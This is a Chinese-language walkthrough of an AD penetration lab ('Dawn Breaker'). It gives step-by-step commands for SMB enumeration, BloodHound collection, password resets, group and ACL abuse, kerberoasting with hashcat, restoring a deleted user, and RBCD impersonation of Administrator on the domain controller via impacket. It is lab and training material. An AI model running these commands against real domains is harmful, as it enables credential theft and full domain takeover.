靶场链接:
无境的目标,是成为网安人必备的靶场,无境一直在持续上架靶场环境,涵盖了网络安全 技术方向的各个分类,在线内网靶场、web靶场、cve复现、SRC场景应有尽有。
https://bdziyi.com/ulab/lab.html?page=target-detail&id=152
Dawn Breaker
信息收集
SMB Welcome 可读
bash
nxc smb 192.168.111.10 -u '' -p ' ' --shares
读取 Letter.txt 文件
将这个信息作为用户名和密码进行尝试
bash
nxc smb 192.168.111.10 -u 'Yangyang' -p 'Hello' --shares
使用 bloodhound-python 进行信息收集
bash
bloodhound-python -c All -u 'Yangyang' -p 'Hello' -ns 192.168.111.10 -d sec.lab -dc ad.sec.lab --zip --dns-tcp
但是线路到了 LAHAYO@SEC.LAB 就断开了,接着再分析是否有路线到达域控或者域管理员,看到有一个未知的节点可以RBCD到域控
第二条线路
经过分析发现 Rover 这个账户很特殊,它关联着一个计算机账户,SOLARIS@SEC.LAB 可以重置它的密码,但是现在还没有 SOLARIS@SEC.LAB 相关的信息
在目前这个情况下想要获取到 SOLARIS@SEC.LAB 有两个方法可以尝试:
- Pre-Created Computer Account
- Timeroasting
获取 SOLARIS@SEC.LAB 的控制权
发现 SOLARIS@SEC.LAB 其实是 Pre-Created Computer Account,利用之前的域账户就能获取到其 Kerberos 凭据,另外 Pre-Created Computer Account 的密码与账户名全小写一样
重置 SOLARIS@SEC.LAB 自身密码
bash
impacket-changepasswd -altuser 'SOLARIS$' -altpass 'solaris' -newpass '123456' -reset 'sec.lab/SOLARIS$'@ad.sec.lab -k -dc-ip 192.168.111.10
获取 Rover 域用户的控制权
重置 Rover 的密码
bash
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 set password Rover 123456
验证账户不成功,根据报错来判断账户还没启用
启用 Rover 账户
bash
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Rover -f ACCOUNTDISABLE
Jinzhou 安全组
AddSelf
Rover 用户是可以将自身加入 Jinzhou@SEC.LAB
bash
bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab add groupMember Jinzhou Rover
AddSPN
根据ACL可以通过给图上四个用户添加 servicePrincipalName 来达到利用 kerberoasting 破解密码
bash
bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 set object Jinxi servicePrincipalName -v 'http/web'
bash
nxc ldap 192.168.111.10 -u 'Rover' -p '123456' --kerberoasting KERBEROASTING
bash
hashcat KERBEROASTING /usr/share/wordlists/rockyou.txt
Black Shores 安全组
AddMember
根据 JINXI@SEC.LAB 的ACL,将 Rover 加入 Black ShoresI@SEC.LAB
bash
bloodyAD -u 'Jinxi' -p 'Jinxin' --host ad -d sec.lab add groupMember 'Black Shores' Rover
WriteOwner
根据ACL,Black ShoresI@SEC.LAB 对 TheShorekeeper 有 WriteOwner 权限
PS:TheShorekeeper 用户是禁用状态,可以使用 nxc 或者 查询 userAccountControl 属性来验证,这里就略过了
bash
bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set owner TheShorekeeper Rover
bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab add genericAll TheShorekeeper Rover
bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set password TheShorekeeper 123456
bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac TheShorekeeper -f ACCOUNTDISABLE
Lahayo 安全组
AddMember
bash
bloodyAD -u 'TheShorekeeper' -p '123456' -d sec.lab --host 192.168.111.10 add groupMember Lahayo Rover
接下来就回到上面信息收集部分分析的路径,到这里就断开了,注意:
-
其实这个场景不止两条路径到达最后的域控
-
下图这个节点到底是什么?它可以 RBCD 到域控
-
目前的路径无法获取下面的用户权限
Active Directory - Recycle Bin
Active Directory 回收站 是 Windows Server 的一项功能,允许在不从备份还原的情况下,完整恢复误删的 AD 对象。
核心特性
- 完整恢复:恢复对象的所有属性(如 SID、组权限、密码)。
- 生命周期 :
- 已删除状态 (Deleted):对象移入回收站,保留所有属性。
- 已回收状态 (Recycled):超过"已删除对象生存期"后,属性被剥离,不可简单恢复。
- 默认状态 :Windows Server 2008 R2 引入,默认禁用,需手动开启且不可逆。
恢复方式
- 图形界面 :通过
AD 管理中心 (ADAC)的 "Deleted Objects" 容器。 - 命令行 :使用 PowerShell 命令
Restore-ADObject。
查询是否有用户对 "Deleted Objects" 有权限
bash
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get writable
还发现了一个删除状态的用户
查询已删除用户的信息
bash
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get search -c '1.2.840.113556.1.4.2064' --filter '(isDeleted=TRUE)' --attr name,objectSid
Lynae 用户的 objectSid 刚好对于上了未知节点的SID
恢复已删除用户
bash
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set restore Lynae
重置已删除用户的密码和启用用户
bash
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set password Lynae '123456'
bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Lynae -f ACCOUNTDISABLE
注意!!!
如果出现该报错,说明该用户对已删除对象不存在 LIST | READ 权限,WP 中先把 Rover 用户加入了 Lahayo 安全组,bloodhound 中没有实现对该 ACL 的分析,需要自己手动分析
RBCD
bash
bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add computer Web 123456
bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add rbcd 'AD$' 'Web$'
bash
impacket-getST -spn 'CIFS/AD' -impersonate 'Administrator' 'sec.lab/Web$:123456' -k -dc-ip 192.168.111.10
export KRB5CCNAME=Administrator@CIFS_AD@SEC.LAB.ccache
impacket-wmiexec -k -no-pass AD -dc-ip 192.168.111.10 -codec gbk